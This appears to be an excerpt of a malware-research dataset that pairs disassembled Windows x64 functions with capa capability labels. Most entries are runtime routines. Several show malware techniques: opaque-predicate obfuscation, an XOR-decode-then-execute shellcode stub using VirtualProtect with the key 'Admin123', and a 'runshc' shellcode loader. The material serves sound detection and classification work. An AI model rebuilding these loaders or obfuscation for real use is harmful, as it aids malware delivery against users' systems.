joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001cd00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001cd7a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001cd70
cmp r11, r10
ja 0x14001ce11
cmp r10, rdx
ja 0x14001ce23
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001cd72
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001cd50
jmp 0x14001cde7
ja 0x14001cd7a
mov r11, r10
cmp rax, r8
jne 0x14001cd22
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001cdeb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001cdc0
mov r8, r10
sub ecx, r9d
jns 0x14001cdde
jmp 0x14001cded
cmp r10, rdx
je 0x14001cdf9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001cded
xor al, 1
cmp r8, rdx
jne 0x14001cda0
jmp 0x14001cded
xor eax, eax
jmp 0x14001cded
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x14002407b]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14001f110
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001f5e0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001f560
int3

Function at 0x14001e33c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001e386
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001e386
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001e386
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001e386
cmp dword [rcx + 0x84], 0xe
jbe 0x14001e386
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001e388
xor al, al
add rsp, 0x28
ret
Function at 0x140001040
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0x9f
add al, 0x40
xor al, 0x40
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
push rdi
invalid
Function at 0x1400514b8
Capabilities:
Encode data using xor

Disassembly:
push rax
push rax
pushf
mov eax, 0x72af34d9
pushf
not eax
add eax, 0xe7c68c0f
xor eax, 0xb7359a44
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x87c40ebb
xor eax, 0xf947c377
rol eax, 0x16
popf
pushf
not eax
add eax, 0xa2d476d3
xor eax, 0xf732b02d
rol eax, 0xf
popf
jmp 0x14005153f
cmp eax, 2
jne 0x14005154e
popf
pop rax
jmp 0x1400515d3
cmp eax, 0
jne 0x14005155d
popf
pop rax
jmp 0x14005156c
cmp eax, 1
jne 0x14005156c
popf
pop rax
jmp 0x14005156f
mov r9d, edx
dec rcx
mov eax, 0x9e55bac6
pushf
not eax
add eax, 0xc5c78421
xor eax, 0x8a771479
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xd824373b
xor eax, 0xb8ddc173
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xadc09b8f
xor eax, 0xc15f80cc
rol eax, 0x43
popf
mul r9d
shr edx, 3
mov al, dl
shl al, 2
lea r8d, [rax + rdx]
add r8b, r8b
sub r9b, r8b
add r9b, 0x30
mov byte [rcx], r9b
mov r9d, edx
test edx, edx
jne 0x14005156f
mov rax, rcx
ret
Function at 0x140053868
Capabilities:
Authenticate hmac

Disassembly:
push rax
pushf
mov eax, 0x59509d0d
pushf
not eax
add eax, 0xc537f95e
xor eax, 0x95f96cfe
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xe87448f7
xor eax, 0xc3f1e5b8
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd850e6ef
xor eax, 0xd5df68f8
rol eax, 0x27
popf
pushf
not eax
add eax, 0xa6d47a77
xor eax, 0xa615438c
rol eax, 0x52
popf
cmp eax, 4
jne 0x1400538cb
popf
pop rax
jmp 0x140053a80
cmp eax, 0
jne 0x1400538da
popf
pop rax
jmp 0x140053907
cmp eax, 3
jne 0x1400538e9
popf
pop rax
jmp 0x140053a13
cmp eax, 1
jne 0x1400538f8
popf
pop rax
jmp 0x1400539ab
cmp eax, 2
jne 0x140053907
popf
pop rax
jmp 0x1400539fa
push rbx
mov r11d, dword [r8]
mov rbx, rdx
and r11d, 0xfffffff8
mov r9, rcx
test byte [r8], 4
mov r10, rcx
je 0x140053978
push rax
pushf
mov eax, 0xdf4c492b
pushf
not eax
add eax, 0xccd63b00
xor eax, 0xe7945e0a
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x94f7bfab
xor eax, 0xf9378433
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd0520221
xor eax, 0xd8016d2d
rol eax, 0x65
popf
pushf
not eax
add eax, 0xa858a8e4
xor eax, 0xbc63f5bc
rol eax, 0x47
popf
jmp 0x1400538bc
push rax
pushf
mov eax, 0xe8f63172
pushf
not eax
add eax, 0xd438aaaa
xor eax, 0xf166d9a6
rol eax, 7
popf
pushf
not eax
add eax, 0xc69eb500
xor eax, 0xb44e6472
rol eax, 0x96
popf
jmp 0x1400538bc
mov eax, dword [r8 + 8]
movsxd r10, dword [r8 + 4]
neg eax
push rcx
not rcx
sub r10, rcx
pop rcx
sub r10, 1
movsxd rcx, eax
and r10, rcx
push rax
pushf
mov eax, 0x8b5e6a50
pushf
not eax
add eax, 0x8addba6e
xor eax, 0x977a2262
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xe8b52318
xor eax, 0xe5ffe363
rol eax, 0xef
popf
jmp 0x1400538bc
movsxd rax, r11d
mov rdx, qword [rax + r10]
mov rax, qword [rbx + 0x10]
mov ecx, dword [rax + 8]
mov rax, qword [rbx + 8]
test byte [rcx + rax + 3], 0xf
je 0x140053a80
movzx eax, byte [rcx + rax + 3]
and eax, 0xfffffff0
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
push rax
pushf
mov eax, 0xf16bf4d2
pushf
not eax
add eax, 0xd9190d98
xor eax, 0x85394514
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xfd769f95
xor eax, 0xe3144dfe
rol eax, 0x92
popf
pushf
not eax
add eax, 0x88b1df1c
xor eax, 0xe35d67be
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xb7f97867
xor eax, 0x8809d665
rol eax, 0xd6
popf
jmp 0x1400538bc
xor r9, rdx
mov rcx, r9
pop rbx
jmp fcn.14005bd41
Function at 0x140055948
Capabilities:
Create thread

Disassembly:
push rax
pushf
mov eax, 0xd7e3095c
pushf
not eax
add eax, 0xffae0a76
xor eax, 0xba06d822
rol eax, 0x56
popf
pushf
not eax
add eax, 0xc2eb0697
xor eax, 0xe548fcf8
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xa43d5b72
xor eax, 0xc691ca94
rol eax, 0x97
popf
pushf
not eax
add eax, 0xcc729ec3
xor eax, 0x816bffd5
rol eax, 0x24
popf
cmp eax, 2
jne 0x1400559ab
popf
pop rax
jmp 0x140055b07
cmp eax, 0
jne 0x1400559ba
popf
pop rax
jmp 0x1400559c9
cmp eax, 1
jne 0x1400559c9
popf
pop rax
jmp 0x140055aa8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xb0
mov rax, qword [0x140008230]
xor rax, rsp
mov qword [rsp + 0xa0], rax
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x19cf74d48]
pushf
sub r8, 0x5cf7388c
popf
xor edx, edx
xor ecx, ecx
jmp 0x140055a0d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140055a61
push rax
pushf
mov eax, 0xac707d97
pushf
not eax
add eax, 0xc4c18e56
xor eax, 0xa5660b4e
rol eax, 0x26
popf
pushf
not eax
add eax, 0xdb80a6f9
xor eax, 0xe9adce76
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xe2a49cd7
xor eax, 0xe5144b40
rol eax, 0xde
popf
jmp 0x14005599c
push rax
pushf
mov eax, 0x97d8cc2b
pushf
not eax
add eax, 0xe85561e3
xor eax, 0x8a58e450
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xa9f8aa77
xor eax, 0xedb04ade
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xa90e7c96
xor eax, 0xe96c222c
rol eax, 0x91
popf
jmp 0x14005599c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.14004f66a
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.14005f539
mov rcx, rax
call fcn.140064e1e
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14005c0bb
nop
lea rcx, [rsp + 0x30]
call fcn.14005f010
lea rcx, [rsp + 0x80]
call fcn.1400650f9
lea rcx, [rsp + 0x80]
call fcn.14005f010
mov rax, rdi
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14005bd41
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret
Function at 0x140065199
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword gs:[0x60]
xor r11d, r11d
mov rsi, r8
mov ebp, edx
mov rdi, qword [rax + 0x10]
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
movzx eax, word [rbx + 0x14]
lea r9, [rbx + 0x18]
movzx r10d, word [rbx + 6]
add r9, rax
test r10, r10
je 0x140065258
mov dword [rsp + 0x78], 0x6544302e
mov byte [rsp + 0x7c], 0x76
movups xmm2, xmmword [r9]
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [r9 + 0x10]
movsd xmm1, qword [r9 + 0x20]
movd edx, xmm2
movups xmmword [rsp + 0x20], xmm2
movsd qword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x30], xmm0
test dl, dl
je 0x140065240
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x20]
sub r8, rax
movzx eax, dl
nop
movzx edx, al
cmp al, byte [rcx]
jne 0x140065240
movzx eax, byte [r8 + rcx + 1]
inc rcx
movzx edx, al
test al, al
jne 0x140065229
cmp dl, byte [rcx]
lea rdx, [rsp + 0x20]
cmovne rdx, r11
add r9, 0x28
mov r11, rdx
sub r10, 1
jne 0x1400651eb
mov eax, dword [r11 + 0xc]
mov rdx, rsi
mov ecx, dword [rbx + 8]
mov eax, dword [rax + rdi]
xor eax, dword [rbx + 0x68]
ror eax, cl
mov ecx, ebp
add rax, rdi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
jmp rax
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
sub rsp, 0x768
lea rax, [rsp + 0x60]
lea rcx, [0x140002230]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37f
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x48]
lea rcx, str.Admin123____
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x48]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0
jmp 0x14000105e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x37f
jae 0x1400010a1
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x60]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cdq
idiv dword [rsp + 0x24]
mov eax, edx
cdqe
movsx eax, byte [rsp + rax + 0x48]
mov ecx, dword [rsp + 0x28]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov byte [rsp + rcx + 0x3e0], al
jmp 0x140001054
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x2c], 0x37f
mov dword [rsp + 0x30], 0
movsxd rax, dword [rsp + 0x2c]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x40], eax
call qword [rsp + 0x38]
xor eax, eax
add rsp, 0x768
pop rdi
pop rsi
ret

Function at 0x14000181c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001866
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001866
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001866
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001866
cmp dword [rcx + 0x84], 0xe
jbe 0x140001866
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001868
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4ca1f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cabf2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ef108]
test eax, eax
je 0x2fc4cac8a
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ef110]
mov qword [rbp - 8], rax
jmp 0x2fc4cac6e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cac62
cmp qword [rbp - 0x10], 0
je 0x2fc4cac62
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cac28
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cac8b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cad90
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cadb8
mov eax, 0
jmp 0x2fc4cae06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cade1
mov eax, 0
jmp 0x2fc4cae06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cae01
mov eax, 0
jmp 0x2fc4cae06
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cae0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cae8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cae81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cae81
mov rax, qword [rbp - 8]
jmp 0x2fc4cae9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cae54
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001d14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d5e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d60
xor al, al
add rsp, 0x28
ret
Function at 0x140005ad0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x58
cmp ecx, 2
lea rcx, [0x140043430]
jge 0x140005b5a
lea rdx, str._runshc_v.
call fcn.1400011f0
mov rcx, rax
lea rdx, [0x14002e7f8]
call fcn.1400011f0
mov rcx, rax
lea rdx, [0x14002e7f4]
call fcn.1400011f0
mov rcx, rax
lea rdx, str.Run_shellcode:_loads_and_deploys_shellcode_file._n
call fcn.1400011f0
lea rdx, str.For_64_bit_shellcodes._n
lea rcx, [0x140043430]
call fcn.1400011f0
lea rdx, str.Args:__shellcode_file_
lea rcx, [0x140043430]
call fcn.1400011f0
mov rcx, rax
call fcn.1400019c0
lea rcx, str.pause
call fcn.14000f3ac
xor eax, eax
add rsp, 0x58
ret
mov qword [rsp + 0x60], rbx
mov rbx, qword [rdx + 8]
lea rdx, str.___Reading_module_from:
mov qword [rsp + 0x50], rdi
xor edi, edi
mov qword [rsp + 0x70], rdi
call fcn.1400011f0
mov rcx, rax
mov rdx, rbx
call fcn.1400011f0
mov rcx, rax
call fcn.1400019c0
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.140005db0
mov rbx, rax
test rax, rax
jne 0x140005bd0
lea rdx, str._ERROR__Loading_file_failed
lea rcx, [0x140043560]
call fcn.1400011f0
mov rcx, rax
call fcn.1400019c0
mov rbx, qword [rsp + 0x60]
lea eax, [rdi - 1]
mov rdi, qword [rsp + 0x50]
add rsp, 0x58
ret
mov rcx, rbx
call fcn.140005fb0
test ax, ax
je 0x140005bfa
mov ecx, 0x20b
cmp ax, cx
je 0x140005bfa
lea rdx, str._ERROR__Bitness_mismatch:_the_given_payload_is_not_compatibilie_with_this_loader_n
lea rcx, [0x140043560]
jmp 0x140005c99
xor eax, eax
lea rdx, str.____Creating_a_new_thread..._n
mov qword [rsp + 0x40], rax
lea rcx, [0x140043430]
mov rax, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov byte [rsp + 0x40], dil
call fcn.1400011f0
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rdi
lea r8, [0x1400058c0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140005c69
lea rdx, str.Failed_to_created_the_thread__n
lea rcx, [0x140043560]
call fcn.1400011f0
jmp 0x140005c77
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140005c8b
call fcn.140005da0
mov qword [rsp + 0x30], rdi
lea rdx, str.____FINISHED._n
lea rcx, [0x140043430]
call fcn.1400011f0
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rdi, qword [rsp + 0x50]
add rsp, 0x58
ret
Function at 0x140005db0
Capabilities:
Get file size

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov r15, rdx
mov r14, rcx
xor r12d, r12d
mov qword [rax - 0x38], r12
mov dword [rax - 0x40], 0x80
mov dword [rax - 0x48], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r12 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005f3f
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rsi, rax
test rax, rax
je 0x140005f36
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbp, rax
test rax, rax
je 0x140005f2d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov rax, qword [r15]
test rax, rax
je 0x140005e72
cmp rax, rbx
cmovbe rbx, rax
mov rdx, rbx
mov rcx, rbp
call fcn.140006030
test al, al
je 0x140005f43
lea rdx, str.____Mapping_of
lea rcx, [0x140043560]
call fcn.1400011f0
mov rcx, rax
mov rdx, r14
call fcn.1400011f0
mov rcx, rax
lea rdx, str._is_invalid_
call fcn.1400011f0
mov r14, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rbx, qword [rcx + 8]
mov qword [rsp + 0x48], rbx
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x40]
call fcn.140001a60
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx r15d, al
test rbx, rbx
je 0x140005f10
mov r8, qword [rbx]
mov rcx, rbx
call qword [r8 + 0x10]
test rax, rax
je 0x140005f10
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, r15b
mov rcx, r14
call fcn.140005900
mov rcx, r14
call fcn.140005580
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140005f87
mov rcx, rbx
call fcn.140005d40
mov r14, rax
test rax, rax
je 0x140005f63
mov r8, rbx
mov rdx, rbp
mov rcx, rax
call fcn.14000a780
jmp 0x140005f66
mov rbx, r12
mov qword [r15], rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, r14
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x140005fb0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140006022
mov edx, 0x40
call fcn.140006030
test al, al
jne 0x140006022
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140006022
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jg 0x140006022
lea rdi, [rbx + rax]
mov edx, pe_nt_image_headers64
mov rcx, rdi
call fcn.140006030
test al, al
jne 0x140006022
cmp dword [rdi], 0x4550
jne 0x140006022
mov edx, pe_nt_image_headers64
mov rcx, rdi
call fcn.140006030
test al, al
jne 0x140006022
movzx eax, word [rdi + 0x18]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x140017c64
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140017a60
Function at 0x140020e38
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140008f90
sub rsp, rax
mov rax, qword [0x140042038]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001d814
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140020e87
mov rax, rbp
jmp 0x140020f8f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x44420]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140021f58
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x44420]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140020f8b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140020f8b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140021f58
test rax, rax
js 0x140020f8b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140020f8b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140020f7d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140020f7d
cmp byte [rcx], 0xd
jne 0x140020f63
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140020f72
cmp byte [rcx + 1], 0xa
jne 0x140020f72
inc rcx
jmp 0x140020f72
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x42440]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140020f45
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140020f8f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140008a70
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400211b0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400211c6
mov al, 1
jmp 0x140021226
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400211d7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140021224
mov ecx, dword [rcx + 0x18]
nop
call fcn.140024a9c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140021224
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140021224
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140021224
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140021226
xor al, al
add rsp, 0x20
pop rbx
ret